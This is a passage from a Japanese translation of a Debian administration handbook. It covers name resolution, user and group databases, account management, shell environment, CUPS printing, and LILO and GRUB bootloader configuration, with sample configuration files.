具体的に言うと /sys/ はシステム内のさまざまなデバイスを表現する内部カーネルオブジェクトにアクセスする方法を提供するために設計されました。そんなわけで、カーネルはこの情報の塊を共有します。ここで情報の塊とは、それぞれのデバイスの状態 (たとえば、省エネルギーモードか否か) やリムーバブルデバイスがあるかなどを指します。/sys/ を使えるのはカーネルバージョン 2.6 以降である点に注意してください。

意外にもドメイン名は別の方法で管理されています。ドメイン名は名前解決を通じて得られるマシンの完全な名前で管理されています。マシンの完全な名前を変更するには `/etc/hosts` ファイルを使います。さらに以下の例に示す通り、マシンの完全な名前を `/etc/hosts` ファイルに書き込みます。マシン名のリストの最初に、そのマシンのアドレスに関連付けられた完全な名前を書きます。

```
127.0.0.1      localhost
192.168.0.1    arrakis.falcot.com arrakis
```

8.3.1. 名前解決

Linux における名前解決のメカニズムはモジュール式であり /etc/nsswitch.conf ファイルに宣言されたさまざまな情報源を取り扱うことが可能です。ホスト名解決に関連するエントリは hosts です。デフォルトでこのエントリには files dns が含まれています。これは名前解決の際にシステムは最初に /etc/hosts ファイルを、次に DNS サーバを参照することを意味しています。NIS/NIS+ や LDAP サーバも情報源として使うことが可能です。

NOTE
NSS と DNS

DNS 問い合わせ専用のコマンド (特に host) は標準的な名前解決メカニズム (NSS) を使わないということに注意してください。結果として、そのようなコマンドは /etc/nsswitch.conf を考慮しませんし、/etc/hosts も考慮しません。

DNS サーバの設定

DNS (ドメインネームサービス) は IP アドレスと名前を双方向に対応付ける分散型の階層的サービスです。具体的に言うと、このサービスは人間に都合の良い名前、たとえば www.eyrolles.com を実際の IP アドレス 213.244.11.247 に変換します。

DNS 情報にアクセスするには、DNS サーバが要求を中継するよう設定されていなければいけません。Falcot Corp は自分の DNS サーバを持っていますが、各ユーザは自分の ISP から提供された DNS サーバを使う傾向にあります。

以下の例のように、使われる DNS サーバは /etc/resolv.conf に書かれています。1 行につき 1 台の DNS サーバを書き、DNS サーバの IP アドレスの前に nameserver キーワードを書きます。

```
nameserver 212.27.32.176
nameserver 212.27.32.177
nameserver 8.8.8.8
```

NetworkManager がネットワークを管理していたり DHCP でネットワークを設定する場合、/etc/resolv.conf ファイルは自動的に取り扱われる (そして上書きされる) ことがある点に注意してください。

/etc/hosts ファイル

ローカルネットワーク内にネームサーバがない場合、/etc/hosts ファイルの中にローカルネットワークの機器向けに通常予約されている IP アドレスとマシンのホスト名の対応表を書くことで名前解決させることが可能です。/etc/hosts ファイルの構文はとても単純です。すなわち、各行は特定の IP アドレスとそれに関連する名前のリスト (リストの先頭に書く名前は「完全修飾名」でドメイン名を含みます) を表します。

/etc/hosts ファイルはネットワークが停止している場合や DNS サーバに到達できない場合にも利用できますが、ネットワーク上のすべてのマシンに /etc/hosts ファイルのコピーを配置できる場合を除けば役に立ち

ません。つまり、このファイルをほんの少しでも変更すれば、すべてのマシンでファイルの内容を更新しなければいけません。このため、通常 /etc/hosts には最重要のエントリだけが含まれています。

/etc/hosts ファイルによる名前管理は、インターネットに接続されていない小さなネットワークでは十分ですが、5 台以上のマシンで構成されるネットワークでは、適切な DNS サーバをインストールすることを推奨します。

TIP

DNS の迂回

アプリケーションは DNS 問い合わせの前に /etc/hosts ファイルを確認しますので、通常の DNS 問い合わせで返される結果とは違う情報をこのファイルに書いておくことで、通常の DNS に基づいた名前解決を迂回することが可能です。

つまり DNS の変更がまだ伝搬されておらず、まだ名前が正しい IP アドレスに適切に対応付けられていない場合でも、その名前で運用される予定のウェブサイトへのアクセスをテストすることが可能になります。

/etc/hosts ファイルのもう 1 つの使われ方としては、特定のホストに向けられたトラフィックをローカルホストにリダイレクトすることです。これで特定のホストとの通信を避けることができます。たとえば、広告を提供する専用サーバのホスト名をリダイレクトすれば広告を迂回することが可能です。こうすることでトラフィックが改善され、気をそらされることなくウェブサイトを巡回することが可能です。

8.4. ユーザとグループのデータベース

ユーザのリストは通常 /etc/passwd ファイルに保存されており、/etc/shadow ファイルには暗号化されたパスワードが保存されています。どちらのファイルもテキストファイルで、比較的単純なフォーマットで書かれており、テキストエディタを使って読んだり変更することが可能です。各ユーザはこれらのファイルにリストされ、各行はコロン (「:」) で区切られたいくつかのフィールドを含んでいます。

NOTE

システムファイルの編集

この章で述べるシステムファイルはすべてプレーンテキストファイルで、テキストエディタを使って編集することが可能です。システムファイルが中核システムの機能性に対して重要な役割を担っている点を考慮すると、システムファイルを編集する際に特別な注意を払うことはどんな場合でも良い考えです。最初に、システムファイルを開くか変更する前には必ず、そのコピーかバックアップを作ってください。2 番目に、潜在的に 1 人以上が同じファイルに同時にアクセスする可能性のあるサーバおよびマシンでは、ファイルの破壊を防ぐために特別な手順を踏んでください。

この目的を達成するには、/etc/passwd ファイルを編集する際に vipw コマンドを使ったり /etc/group ファイルを編集する際に vigr コマンドを使ったりするだけで十分です。これらのコマンドはテキストエディタ (デフォルトで vi。エディタを設定するには EDITOR 環境変数を使います) を実行する前に対象のファイルをロックします。これらのコマンドに -s オプションを付けることで、対応する **shadow** ファイルを編集することも可能です。

BACK TO BASICS

crypt、一方向性関数

crypt は一方向性関数で、ある文字列 (A) を別の文字列 (B) に変換します。変換の際には B から A を得ることが不可能な方法を使います。A を得るにはすべての可能性をテストするしかありません。テストは各可能性を crypt で変換して得られた結果が B か否かで判断されます。crypt は入力 (文字列 A) として 8 文字目までを受け付け、13 文字の表示できる ASCII 文字 (文字列 B) を生成します。

8.4.1. ユーザリスト、/etc/passwd

以下は /etc/passwd ファイルに含まれるフィールドのリストです。

- ログイン名。これはたとえば rhertzog です。
- パスワード、これは一方向性関数 (crypt) によって暗号化されたパスワードです。使われる暗号化アルゴリズムは DES、MD5、SHA-256、SHA-512 などです。このフィールドの値が特別な値「x」だった場合、これは暗号化されたパスワードが /etc/shadow に保存されていることを意味しています。
- uid。これは各ユーザを識別する一意的な番号です。
- gid。これはユーザのメイングループを示す一意的な番号です (Debian はデフォルトで各ユーザに固有のグループを作成します)。
- GECOS。通常これはユーザの氏名を含むデータフィールドです。
- ログインディレクトリ。これはユーザが個人ファイルを保存するために割り当てられたディレクトリです (環境変数 $HOME は通常このディレクトリを指します)。
- ログイン時に実行されるプログラム。通常これはユーザに行動の自由を与えるコマンドインタプリタ (シェル) です。/bin/false (何もせずすぐにコントロールを返すプログラム) が指定された場合、ユーザはログインできません。

BACK TO BASICS

Unix グループ

Unix グループには複数のユーザが所属します。ユーザは統合されたパーミッションシステムを使って簡単にファイルを共有できます (あるグループに所属するユーザはそのグループに与えられた権限を執行できます)。また、あるプログラムの使用を特定のグループに制限することも可能です。

8.4.2. 隠された暗号化パスワードファイル、/etc/shadow

/etc/shadow ファイルには以下のフィールドが含まれます。

- ログイン名。
- 暗号化されたパスワード。
- パスワードの有効期限を管理するいくつかのフィールド。

DOCUMENTATION

/etc/passwd、/etc/shadow、/etc/group ファイルのフォーマット

これらのファイルのフォーマットの説明は以下の man ページに書かれています。すなわち passwd(5)、shadow(5)、group(5) に書かれています。

SECURITY

/etc/shadow ファイルのセキュリティ

一般ユーザが /etc/shadow を読むことは不可能ですが、その分身である /etc/passwd を読むことは可能です。すなわち /etc/passwd に保存されている暗号化パスワードは誰でも読むことが可能です。さらにクラッカーは、いくつかの「総当り」法の 1 つを使って、簡単に言えばよく使われる文字の組み合わせを推測することで、パスワードを「破壊」(または明らかに) しようと試みることが可能です。/etc/shadow を使っているシステムではもはや、「辞書攻撃」と呼ばれるこの種の攻撃方法は不可能です。

8.4.3. 既存のアカウントやパスワードの変更

以下のコマンドはユーザデータベースの特定のフィールドに保存されている情報を変更します。すなわち passwd を使うと、一般ユーザは自分のパスワードを変更できます。つまり /etc/shadow ファイルが更新されます。さらに chfn (CHange Full Name) を使うと GECOS フィールドが変更されます。このコマンドはスーパーユーザ (root) 専用です。chsh (CHange SHell) を使うと、一般ユーザはログインシェルを変更できます。しかしながら、ここで設定できるのは /etc/shells に書かれたシェルだけです。その一方で、管理者はこの制限に縛られず、シェルにどんなプログラムを設定することも可能です。

最後に、chage (CHange AGE) コマンドを使うと、管理者はパスワードの有効期限設定を変更できます (-l **user** オプションで現在の設定を表示します)。passwd -e **user** コマンドを使うと、パスワードを強制的に失効させることが可能です。ユーザは次回のログイン時にパスワード変更を要求されます。

8.4.4. アカウントの失効

「アカウントを失効」する (ユーザを締め出す) 必要が出てくるかもしれません。これが必要になるのは、ユーザの懲戒処分、調査目的、単純に長期にわたって明らかにログインしていない場合などが考えられます。失効されたアカウントとは、ユーザがログインできないかマシンへのアクセスを獲得できないことを意味しています。アカウントは単にアクセスできない状態になっているだけで、アカウントがマシンから削除されるわけでもなければファイルおよびデータが削除されるわけでもありません。アカウントを失効するには passwd -l **user** (lock) を使ってください。もう一度アカウントを有効化するには同様の方法で -u オプション (unlock) を付けてください。

GOING FURTHER

NSS とシステムデータベース

ユーザやグループのリストを管理する際に適切な NSS (Name Service Switch) モジュールを使えば、通常のファイルを使う代わりに LDAP や db などの他の種類のデータベースを使うことも可能です。/etc/nsswitch.conf ファイルの passwd、shadow、group エントリにはデータベースとして使われるモジュールがリストされています。LDAP で NSS モジュールを使う方法の具体例は第 11.7.3.1 節「NSS の設定」286 ページをご覧ください。

8.4.5. グループリスト、/etc/group

グループは /etc/group ファイルにリストされています。/etc/group ファイルは単純なテキストデータベースで、フォーマットは /etc/passwd ファイルとよく似ており、以下のフィールドを持っています。

- グループ名。
- パスワード (任意)。これはグループメンバーでないユーザがそのグループに参加する際に使われます (newgrp および sg コマンドを使います。補注「 複数のグループに所属する」158 ページを参照してください)。
- gid。これはグループを識別する一意的な番号です。
- メンバーのリスト。これはグループに所属するユーザ名のコンマ区切りリストです。

BACK TO BASICS

複数のグループに所属する

ユーザは複数のグループに所属することが可能です。そして所属グループの 1 つが「メイングループ」です。ユーザのメイングループはデフォルトで最初のユーザ設定中に作成されま

す。デフォルトで、ユーザが作成したファイルは本人とそのメイングループの所有物になります。この状態が望ましくない場合もあります。たとえば、ユーザが自分のメイングループではないグループ用に共有されたディレクトリ内で仕事をする必要がある場合を考えてみましょう。この場合、ユーザは以下のコマンドのどちらかを使ってメイングループを変更する必要があります。具体的に言えば、新しいシェルを開始する newgrp か、与えられた別グループでコマンドを実行する sg を使う必要があります。これらのコマンドを使うと、ユーザは自分が所属していないグループに参加することが可能です。グループがパスワードで保護されていた場合、ユーザはコマンドを実行する前に適切なパスワードを入力する必要があります。

別の方法として、ディレクトリに setgid ビットを設定することが可能です。こうすることで、そのディレクトリの下に作成されたファイルのグループを自動的に適切なものにすることが可能です。詳細は補注「 setgid ディレクトリと**スティッキービット**」198 ページをご覧ください。

id コマンドはユーザのユーザ名 (uid 変数)、現在のメイングループ (gid 変数)、所属するグループのリスト (groups 変数) を表示します。

addgroup コマンドはグループを追加、delgroup コマンドはグループを削除します。groupmod コマンドは指定したグループの情報 (gid またはグループ名など) を変更します。passwd -g **group** は **group** で指定したグループのパスワードを変更し、一方で passwd -r -g **group** コマンドは **group** で指定したグループを削除します。

TIP

getent

getent (get entries) コマンドは、適当なライブラリ関数を使い /etc/nsswitch.conf ファイルで設定された NSS モジュールを呼び出すという標準的な方法で、システムデータベースを確認します。getent コマンドは 1 つか 2 つの引数を取ります。具体的に言えば、引数としてデータベースの名前と検索キーを取ります。そんなわけで、getent passwd rhertzog コマンドはユーザデータベースから rhertzog ユーザに関する情報を表示します。

8.5. アカウントの作成

新しいマシンをセットアップする際に、管理者が最初にする作業の 1 つにユーザアカウントの作成作業があります。典型的に、ユーザアカウントの作成作業は adduser コマンドを使って行われます。このコマンドは作成する新しいユーザのユーザ名を引数に取ります。

adduser コマンドはアカウントを作成する前にいくつかの質問を尋ねますが、その使い方はかなり簡単です。adduser コマンドの設定ファイル /etc/adduser.conf には興味深い設定が含まれます。すなわち、この設定ファイルは、ユーザテンプレートを作成することで自動的に新しいユーザにクォータを課したり、ユーザアカウントの場所を変更するために使われます。ユーザアカウントの場所を変更することが役に立つ場面は少ないですが、たとえば多くのユーザを管理していて、各アカウントを複数のディスクに分散させたい場合には、役立ちます。また、デフォルトシェルを別のシェルに変えることも可能です。

BACK TO BASICS

クォータ

「クォータ」という用語はユーザが使えるマシンリソースの制限値を意味しています。マシンリソースとは通常ディスク領域を指します。

アカウントが作成されると、/etc/skel/ テンプレートの内容がユーザのホームディレクトリにコピーされます。/etc/skel/ テンプレートには標準的なディレクトリと設定ファイルが含まれます。

あるユーザに追加のパーミッションを与える目的で、そのユーザを (デフォルトの「メイン」グループ以外の) あるグループに所属させると便利な場合があります。たとえば、**audio** グループに属するユーザは音声デバイスにアクセスできます (補注「 デバイスアクセスパーミッション」160 ページを参照してください)。これは adduser **user group** コマンドで達成されます。

BACK TO BASICS

デバイスアクセスパーミッション

Unix はハードウェア周辺機器デバイスをスペシャルファイルとして表します。スペシャルファイルは通常 /dev/ (DEVices) ツリーの下に格納されます。デバイスの性質に依存して、2 種類のスペシャルファイルが存在します。具体的に言えば「キャラクタモード」と「ブロックモード」ファイルです、それぞれのモードでは行える操作が限定されています。キャラクタモードの場合、許可されている操作は読み/書きだけですが、ブロックモードの場合、読み/書き操作に加えて利用できるデータのシークも許可されています。最後に、それぞれのスペシャルファイルは (「メジャー」と「マイナー」の) 2 つの番号に関連付けられており、カーネルはこの番号を使って一意的な方法でデバイスを識別します。スペシャルファイルは mknod コマンドで作成され、シンボリック名 (人間にとって使いやすい名前) を付けられます。

スペシャルファイルのパーミッションは関連付けられたデバイスへのアクセスに必要なパーミッションを意味します。そのため、音声ミキサを表す /dev/mixer などのファイルには、root と audio グループに所属するユーザの読み/書きを許可するパーミッションが設定されています。音声ミキサを操作できるのは、これらのユーザだけです。

udev、**consolekit**、**policykit** を組み合わせて使うことで、コンソールに物理的に接続された (ネットワーク経由でない) ユーザに対して一部のデバイスへのアクセスを許可する追加的なパーミッションを設定できるという点に注意してください。

8.6. シェル環境

コマンドインタプリタ (シェル) はコンピュータのユーザが最初に触れるものですから、かなり使いやすくなければいけません。ほとんどのシェルは、挙動 (自動補完、プロンプトテキストなど) を設定する初期化スクリプトを使います。

標準的なシェルである bash は「対話型」シェル用に /etc/bash.bashrc 初期化スクリプトを使い、「ログイン」シェル用に /etc/profile を使います。

BACK TO BASICS

ログインシェルと (非) 対話型シェル

簡単に言うと、ログインシェルはローカルおよびリモートの ssh 経由でコンソールにログインするか、明確に bash --login コマンドを実行してログインする際に実行されます。ログインシェルか否かに関わらず、シェルは対話的 (たとえば xterm 系ターミナルの中で実行される場合) にもなれば、一方で非対話的 (スクリプトとして実行される場合) にもなります。

DISCOVERY

シェルを変えれば設定スクリプトも変わります

各コマンドラインインタプリタには、特別な構文が決められており、専用の設定ファイルがあります。たとえば zsh は /etc/zshrc と /etc/zshenv を使います。一方で csh は /etc/csh.cshrc、/etc/csh.login、/etc/csh.logout を使います。それぞれのプログラムの man ページでは、そのプログラムがどの設定ファイルを使うかについて説明されています。

bash では、/etc/bash.bashrc ファイルを使って「自動補完」を有効化する (通常いくつかの行のコメントを外す) と便利です。

BACK TO BASICS

自動補完

多くのコマンドラインインタプリタには補完機能があります。補完機能を使うと、コマンド名や引数の一部を入力した後に Tab キーを押すことで、残りの部分が自動的に入力されます。補完機能のおかげで、ユーザはより効率的に作業を行い、より間違いを起こしにくくなります。

補完機能はとても強力で柔軟です。補完機能の挙動をそれぞれのコマンドに対して設定することが可能です。従って、apt-get に続く 1 番目の引数は、それがどのファイル名にもマッチしなかったとしても、apt-get コマンドの構文に従って提案されます (この場合、install、remove、upgrade などが候補として挙げられます)。

BACK TO BASICS

チルダ記号、ホームディレクトリへのショートカット

チルダ記号は通常、環境変数 HOME の指すディレクトリ (ユーザのホームディレクトリ、/home/rhertzog/ など) を表すために使われます。コマンドインタプリタはチルダ記号を自動的に置換します。すなわち ~/hello.txt は /home/rhertzog/hello.txt のように置換されます。

チルダ記号は他のユーザのホームディレクトリを表す場合にも使えます。従って、~rmas/bonjour.txt は /home/rmas/bonjour.txt と同じ意味になります。

これらの共用スクリプトに加えて、各ユーザは自分のシェルを設定するために ~/.bashrc と ~/.bash_profile を作ることが可能です。最もよくある変更は、別名の追加です。別名とはコマンドの実行時に自動的に置換される単語で、別名を登録することでコマンドを素早く実行できます。たとえば、ls -la | less コマンドの別名として la を作成することが可能です。こうしておけば、ディレクトリの内容を細かく調査する場合に la を入力するだけで済みます。

BACK TO BASICS

環境変数

環境変数を使うことで、呼び出されたシェルや他のプログラムに対して大域的な設定を行うことが可能です。環境変数はその場限りのものです (それぞれのプロセスは自身の環境変数を持っています)。しかしながら、環境変数は継承されます。環境変数の継承という性質のおかげで、すべてのプログラムの実行時に伝えられる変数をログインシェルで宣言できます。

デフォルト環境変数の設定はシェルを設定する上で重要な要素です。あるシェルに固有の変数はさておき、デフォルト環境変数の設定は /etc/environment ファイルで行うことが好まれます。なぜなら、シェルセッションを起動するさまざまなプログラムが /etc/environment ファイルを使うからです。典型的に言って /etc/environment では会社や組織の名前を設定する ORGANIZATION、HTTP プロキシの存在とその場所を設定する HTTP_PROXY などの環境変数を設定します。

TIP

すべてのシェルを同様に設定する

多くの場合、ユーザはログインシェルと対話型シェルの設定を同じにしたいと思うでしょう。これを行うには、~/.bash_profile ファイルの中で ~/.bashrc の内容を実行 (または「source」) します。すべてのユーザに共通のファイルで同じことをすることも可能です (/etc/profile の中で /etc/bash.bashrc を呼び出します)。

8.7. プリンタ設定

以前、管理者およびユーザにとってプリンタ設定は大きな悩みの種でした。IPP プロトコル (Internet Printing Protocol) を使う自由な印刷サーバである **cups** のおかげで、これらの悩みの種は今やほとんど過去の物です。

cups プログラムは複数の Debian パッケージに分割されています。たとえば **cups** は主要な印刷サーバです。そして **cups-bsd** は互換レイヤであり、古典的な BSD 印刷システム (lpd デーモン、lpr、lpq コマンドなど)

からのコマンドを使えるようにします。そして **cups-client** にはサーバと通信する (プリンタをブロックしたりブロック解除する、進行中の印刷ジョブを表示したり削除する) ための一連のプログラムが含まれます。そして最後に、**cups-driver-gutenprint** には cups 用の追加的なプリンタドライバが含まれます。

COMMUNITY
CUPS

CUPS (Common Unix Printing System) は Apple, Inc. の管理するプロジェクトです (さらに商標でもあります)。

➡ http://www.cups.org/

前述したさまざまなパッケージをインストールすれば、ローカルアドレスからアクセスできるウェブインターフェース (http://localhost:631/) を通じて cups を簡単に管理することが可能です。このインターフェースを使えばプリンタ (ネットワークプリンタも含みます) を追加、削除、管理することが可能です。また、デスクトップ環境が提供するグラフィカルインターフェースを使っても cups を管理することが可能です。最後に、system-config-printer グラフィカルインターフェース (同名の Debian パッケージに含まれます) を使うことも可能です。

NOTE
/etc/printcap の陳腐化

cups は今や時代遅れになった /etc/printcap ファイルを使っていません。このため、利用できるプリンタのリストを得る目的で /etc/printcap ファイルを利用するプログラムは機能しません。この問題を避けるには、/etc/printcap ファイルを削除し、/var/run/cups/printcap へのシンボリックリンクに変えてください (補注「シンボリックリンク」168 ページを参照してください)。**cups** は互換性を保つために /var/run/cups/printcap を管理しています。

8.8. ブートローダの設定

ブートローダは既に機能しているかもしれませんが、ブートローダがマスターブートレコードから消えてしまった状況に備えて、ブートローダの設定方法とイントール方法を知っておくのは常に良い考えです。この状況は Windows などの他のオペレーティングシステムをインストールした後に起こる場合があります。以下の情報はブートローダ設定の変更が必要になった際にそれを変更するための助けになるでしょう。

BACK TO BASICS
マスターブートレコード

マスターブートレコード (MBR) は最初のハードディスクの最初の 512 バイトを専有し、BIOS は対象のオペレーティングシステムを起動できるプログラムに操作を受け渡すために真っ先に MBR を読み込みます。一般にブートローダは MBR にインストールされ、その前に MBR にあった情報は削除されます。

8.8.1. ディスクの識別

CULTURE
udev と /dev/

伝統的に、/dev/ ディレクトリはシステムの周辺機器を表す目的でいわゆる「スペシャル」ファイルを保存する場所でした (補注「デバイスアクセスパーミッション」160 ページを参照してください)。昔 /dev/ ディレクトリには、潜在的に利用する可能性のあるすべてのスペシャルファイルが含まれていました。このやり方には多くの欠点がありました。特に使うことのできるデバイスの数が制限されていた点 (名前リストがハードコードされていた点)、実際に使えるスペシャルファイルがどれなのか分からない点が問題でした。

今日、スペシャルファイルの管理は完全に動的に行われるようになっており、ホットスワップできるコンピュータデバイスの性質とうまく合っています。カーネルは **udev** と協力し、対応するデバイスが取り付けられたり取り外された際に、スペシャルファイルを作成したり削除したりします。この理由により /dev/ を保存しておく必要はなくなり、RAM ベースのファイルシステムでは最初 /dev/ ディレクトリを空にしておいて関連するエントリだけを含めるようにしています。

カーネルは新たに追加されたデバイスに関する多くの情報をやり取りして、そのデバイスを識別するメジャー/マイナー番号の組を配布します。udevd はデバイスに必要なパーミッション設定と命名を行ったスペシャルファイルを作成します。さらに udevd は別名を作成し、追加的操作 (デバイスの初期化や登録作業など) を実行することも可能です。udevd の挙動は (カスタマイズが可能な) 巨大ルール群によって決定されます。

動的に名前を付けることで、あるデバイスに常に同じ名前を持たせることが可能になります。名前は接続するコネクタや接続順に依存しないので、特に複数の USB 周辺機器を使う場合に便利です。1 台目のハードドライブの最初のパーティションは後方互換性を保つために /dev/sda1 と呼ばれます。しかしあなたがそう望むなら /dev/root-partition と呼ぶことも可能ですし、両方の名前を同時に使うことも可能です。なぜなら udevd を設定すれば自動的にシンボリックリンクを作成するようにできるからです。

古くは、一部のカーネルモジュールはユーザが関連するデバイスファイルにアクセスを試行した時点で自動的に読み込まれていました。今現在この方針は使われておらず、モジュールを読み込む前に周辺機器のスペシャルファイルが存在することはありません。しかしこれは大きな問題ではありません。なぜなら、自動ハードウェア検出のおかげで多くのモジュールは起動時に読み込まれるからです。しかし、検出できない周辺機器 (非常に古いディスクドライブや PS/2 マウスなど) ではこの挙動が問題になります。floppy、psmouse、mousedev モジュールを /etc/modules に追加して、起動時に強制的にこれらのモジュールを読み込むことを検討してください。

ブートローダを設定するには、必ずさまざまなハードドライブとそのパーティションを識別しなければいけません。Linux はこの目的のために /dev/ ディレクトリ内で「ブロック」スペシャルファイルを使います。Debian **Squeeze** 以降、ハードドライブの命名規則は Linux カーネルによって統一化されました。現在、すべてのハードドライブ (IDE/PATA、SATA、SCSI、USB、IEEE 1394) は /dev/sd* と表されます。

それぞれのパーティションは自分が存在するディスク上の番号で表されます。たとえば、/dev/sda1 は 1 台目のディスクの最初のパーティションで、/dev/sdb3 は 2 台目のディスクの 3 番目のパーティションです。

PC アーキテクチャ (つまり「i386」およびその年下のいとこである「amd64」) では、長い間「MS-DOS」パーティションテーブルフォーマットを使うよう制限を受けていました。このフォーマットはディスク 1 台当たりに作れる「プライマリ」パーティションの数を 4 つに制限していました。この制限を乗り越えるためには、プライマリパーティションの 1 つを「拡張」パーティションとして作成します。拡張パーティションには追加的な「セカンダリ」パーティションを含めることが可能です。このようなセカンダリパーティションには 5 以上の番号が割り振られます。従って、最初のセカンダリパーティションは /dev/sda5、2 番目は /dev/sda6 などのように割り振られるでしょう。

MS-DOS パーティションテーブルフォーマットのもう一つの制限は、2 TiB を超えるサイズのディスクを取り扱うことができないという点です。近年のディスクではこの制限が現実的な問題になりつつあります。

GPT と呼ばれる新しいパーティションテーブルフォーマットを使うことで上に挙げた制限が緩和されます。GPT では、パーティション数は最大で 128 個に制限され (標準的な設定を使った場合)、ディスクサイズは最大で 8 ZiB (80 億テラバイト以上) に制限されます。1 台のディスクに多くの物理パーティションを作成する

場合、ディスクのパーティショニングを行う際に必ず GPT フォーマットでパーティションテーブルを作成するよう注意してください。

どのディスクがどの SATA コントローラに (たとえば SCSI チェーンの 3 番目に) 接続されているかを記憶するのは常に簡単というわけではありません。なぜなら、特にホットプラグ対応のハードドライブ (これには多くの SATA ディスクや外部ディスクが含まれます) の名前は起動の度に変わるからです。幸いなことに、udev は /dev/sd* に加えて、固有名のシンボリックリンクを作成します。曖昧でない方法でハードドライブを識別したい場合にはこのシンボリックリンクを使うことが可能です。これらのシンボリックリンクは /dev/disk/by-id に保存されています。たとえば 2 台の物理ディスクを備えるマシンでは以下のようなシンボリックリンクが見つかります。

```
mirexpress:/dev/disk/by-id# ls -l
合計 0
lrwxrwxrwx 1 root root  9  7月 23 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda
lrwxrwxrwx 1 root root 10  7月 23 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1
lrwxrwxrwx 1 root root 10  7月 23 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2
[...]
lrwxrwxrwx 1 root root  9  7月 23 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 ->
    ➥ ../../sdb
lrwxrwxrwx 1 root root 10  7月 23 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part1
    ➥ -> ../../sdb1
lrwxrwxrwx 1 root root 10  7月 23 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part2
    ➥ -> ../../sdb2
[...]
lrwxrwxrwx 1 root root  9  7月 23 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda
lrwxrwxrwx 1 root root 10  7月 23 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 -> ../../
    ➥ sda1
lrwxrwxrwx 1 root root 10  7月 23 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 -> ../../
    ➥ sda2
[...]
lrwxrwxrwx 1 root root  9  7月 23 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 ->
    ➥ ../../sdb
lrwxrwxrwx 1 root root 10  7月 23 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part1
    ➥ -> ../../sdb1
lrwxrwxrwx 1 root root 10  7月 23 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part2
    ➥ -> ../../sdb2
[...]
lrwxrwxrwx 1 root root  9  7月 23 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 -> ../../
    ➥ sdc
lrwxrwxrwx 1 root root 10  7月 23 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 ->
    ➥ ../../sdc1
lrwxrwxrwx 1 root root 10  7月 23 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 ->
    ➥ ../../sdc2
[...]
lrwxrwxrwx 1 root root  9  7月 23 08:58 wwn-0x5000c50015c4842f -> ../../sda
lrwxrwxrwx 1 root root 10  7月 23 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1
[...]
mirexpress:/dev/disk/by-id#
```

いくつかのディスクは複数回リストされています (なぜなら、それらは ATA ディスクであり同時に SCSI ディスクとしても振る舞うからです)。しかしながら、ディスクに固有の情報は主にディスクの製品番号とシリアル番号であるという点に注意してください。ここから、目的の周辺機器のシンボリックリンクを見つけることが可能です。

以降の節で挙げる設定ファイルの例はこれと同じディスク構成のマシンに対する設定です。具体的に言えば、1 台の SATA ディスクがあり、最初のパーティションに古い Windows がインストールされており、2 番目のパーティションに Debian GNU/Linux がインストールされている状態です。

8.8.2. LILO の設定

LILO (LInux LOader) は最も古い (実直だが素朴な) ブートローダです。**LILO** は MBR に起動するカーネルの物理アドレスを書くため、LILO および LILO の設定ファイルを更新した際にはその後に必ず `lilo` コマンドを使わなければいけません。このルールを忘れて、古いカーネルを削除したり、置き換えた新しいカーネルを古いカーネルがあった場所と同じディスクの場所に置かなかったりすると、システムが起動できないと表示されます。

LILO の設定ファイルは `/etc/lilo.conf` です。標準的な設定を行う単純なファイルは以下の例のように書けます。

例 8.3　LILO の設定ファイル

```
# このディスクに LILO をインストールします。
# ここではパーティションではなくディスクを指定してください。
# LILO は MBR にインストールされます。
boot=/dev/sda
# Debian がインストールされているパーティション
root=/dev/sda2
# デフォルトで起動させるアイテム
default=Linux

# 最新のカーネルイメージ
image=/vmlinuz
  label=Linux
  initrd=/initrd.img
  read-only

# 古いカーネル（最新のカーネルが起動しなかった際に使います）
image=/vmlinuz.old
  label=LinuxOLD
  initrd=/initrd.img.old
  read-only
  optional

# Linux と Windows のデュアルブート用
other=/dev/sda1
  label=Windows
```

8.8.3. GRUB 2 の設定

GRUB (GRand Unified Bootloader) はより新しいブートローダです。カーネル更新の後に GRUB を実行する必要はありません。それどころか **GRUB** はファイルシステムを読む方法とディスクからカーネルを探し出す方法を知っています。GRUB を最初のディスクの MBR にインストールするためには、`grub-install /dev/sda` を実行してください。

NOTE

GRUB におけるディスク名の命名規則

GRUB は BIOS から提供される情報に従ってハードドライブを識別します。(`hd0`) は最初に検出されたディスクに対応し、(`hd1`) は 2 番目に対応します。多くの場合、この順番は Linux 上でディスクが検出される普通の順番と完全に一致しますが、SCSI や IDE ディスクを使っている場合、問題が起きるかもしれません。GRUB は検出した対応関係を `/boot/grub/device.map` ファイルの中に保存します。管理者がこの対応関係に間違いを見つけた場合 (BIOS が Linux と違う順番でドライブを検出するということを知っている場合)、対応関係を修正して、もう一度 `grub-install` を実行してください。`grub-mkdevicemap` を使えば、`device.map` ファイルのたたき台を作成することが可能です。

GRUB はパーティションを識別する名前も使います。MS-DOS フォーマットの「標準的な」パーティションを使っている場合、最初のディスクの最初のパーティションは (`hd0,msdos1`)、2 番目のパーティションは (`hd0,msdos2`) です。

